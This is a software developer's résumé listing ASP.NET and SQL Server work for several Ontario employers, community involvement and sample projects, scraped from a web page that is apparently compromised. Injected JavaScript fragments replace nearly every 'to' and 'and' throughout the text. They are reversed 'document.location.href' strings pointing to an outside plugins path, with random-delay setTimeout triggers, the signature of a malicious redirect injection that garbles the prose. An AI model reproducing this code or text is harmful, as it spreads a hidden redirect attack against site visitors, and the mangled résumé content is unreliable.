Resume
SUMMARY OF QUALIFICATIONS
- 12 years of software development toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and database design experience, utilizing a wide variety of languages
- Lead developer on a number of large-scale enterprise applications
- Continuously learning, experimenting with toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and teaching others advancements in software development toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and technology
- Team player who is able toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to both lead toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and contribute toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to planning, implementation toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and maintenance stages of projects
TECHNICAL CAPABILITIES
ASP .Net, C#, Visual Basic, HTML/CSS, JavaScript, Java, C/C++, Ruby, Clojure, Lisp, SQL Server, SQLite, mySQL, PostgreSQL, Sybase SQL Anywhere, OpenGL, PHP, Microsoft Access, Corel Paradox, Subversion, Git, Mercurial
EXPERIENCE
Senior Software Developer | MLD Solutions Inc.
July 2013 toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Present | London, Ontario
- Responsible for custoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tomer communication, design, implementation toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and maintenance
- Mentoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor young development team by introducing them toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to SOLID design principles, autoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tomated testing toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and agile methodologies
- Technologies: ASP.NET (Web Forms toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and MVC), SQL Server, Dev Express
Senior Software Developer | Creative Options/Protiviti Inc.
August 2004 toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to June 2013 | Waterloo, Ontario
- Responsible for spec review, architecture design, implementation, toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and maintenance
- Improved team's overall code quality by performing regular code reviews toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and ensuring team members follow best practices such as autoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tomated testing toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and refactoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toring
- Introduced toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and implemented agile methodologies such as Scrum toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and Kanban toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to various teams within the organization
- Involved in recruiting toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and interviewing for various developer, quality assurance toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and analyst positions
- Responsible for investigating new toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tools toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and technologies toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and bringing them intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the team
- Gained experience working with distributed teams (Argentina, Chicago, Waterloo)
- A web-based data collection toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and reporting toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tool that allows clients toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to view, analyze toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and improve upon Occupational Health toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and Safety, Risk, Regulatoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tory toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and Fleet Compliance
- Used by 230,000 users worldwide
- Features: custoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tom user dashboards, reporting, employee training, document library, autoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tomated notifications, meeting entry toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and compliance, risk rating profiles for employees toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and locations, importing client data feeds, integration with Compas, etc...
- Technologies: ASP.NET MVC, WCF, SQL Server 2008, Dev Express
- A flexible web toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and PC-based auditing toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tool
- Features: data entry, reporting, custoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tom user dashboards, targetted communications, toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and administrative functionality
- Includes a web application, windows desktoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}top application, mobile web application toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and a Pocket PC application
- Htoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andles importing client data feeds toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and integrating with other client applications (via web services)
- Technologies: ASP.NET Web Forms, .Net Windows Forms, SQL Server 2008, SQLite, .Net Compact Framework
- Various applications covering areas such as safety training, employee certification, accident reduction, toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and meeting entry toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and compliance.
- Built with ASP.NET Web Forms toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and Sql Server
Software Developer / Database Designer | Concordia Club
May 2002 toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to July 2004 | Kitchener, Ontario
- Designed, developed, implemented toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and maintained two projects: a membership application toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and a ticket sales tracking application
- The membership application kept track of member achievements, club status toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and fee payments
- The POS application used for selling Oktoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toberfest tickets htoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andled purchases, returns, remaining ticket inventoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tory, toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and custoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tom reporting
- Both applications were developed using Corel Paradox toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and the ObjectPal language
Database Developer | Wilfrid Laurier University
April 2002 toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to August 2002 | Waterloo, Ontario
- Assisted a professor with their research project by importing stoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tock market data from different sources intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to a SQL Server database toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and writing reports against it
COMMUNITY INVOLVEMENT
Peer-toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-Peer Champion, Agile/Lean | Communitech
2010 toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to 2013 | Waterloo, Ontario
- User group devoted toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to helping others in the community learn about Agile toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and Lean principles
- Responsible for facilitating monthly meetings, recruiting new members, toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and providing insight toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and direction on future toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}topics toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and speakers
Project Manager/Technical Lead - IT Consulting toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and Development Team | Wilfrid Laurier University
Summer 2001 toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Summer 2003 | Waterloo, Ontario
- Led a team of student developers in providing technical consulting toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and development toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to various local organizations on a volunteer basis
- Mentoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tored student developers in technical troubleshooting toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and development of various internet-based applications
SAMPLE CODE
- Allows a user toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to keep track of scores in various types of round/period based games.
- Motivation for this application was toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to explore the jQuery Mobile framework toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to experiment with Behaviour Driven Development
- Allows stakeholders toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and team members toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to easily view project metrics on a single screen
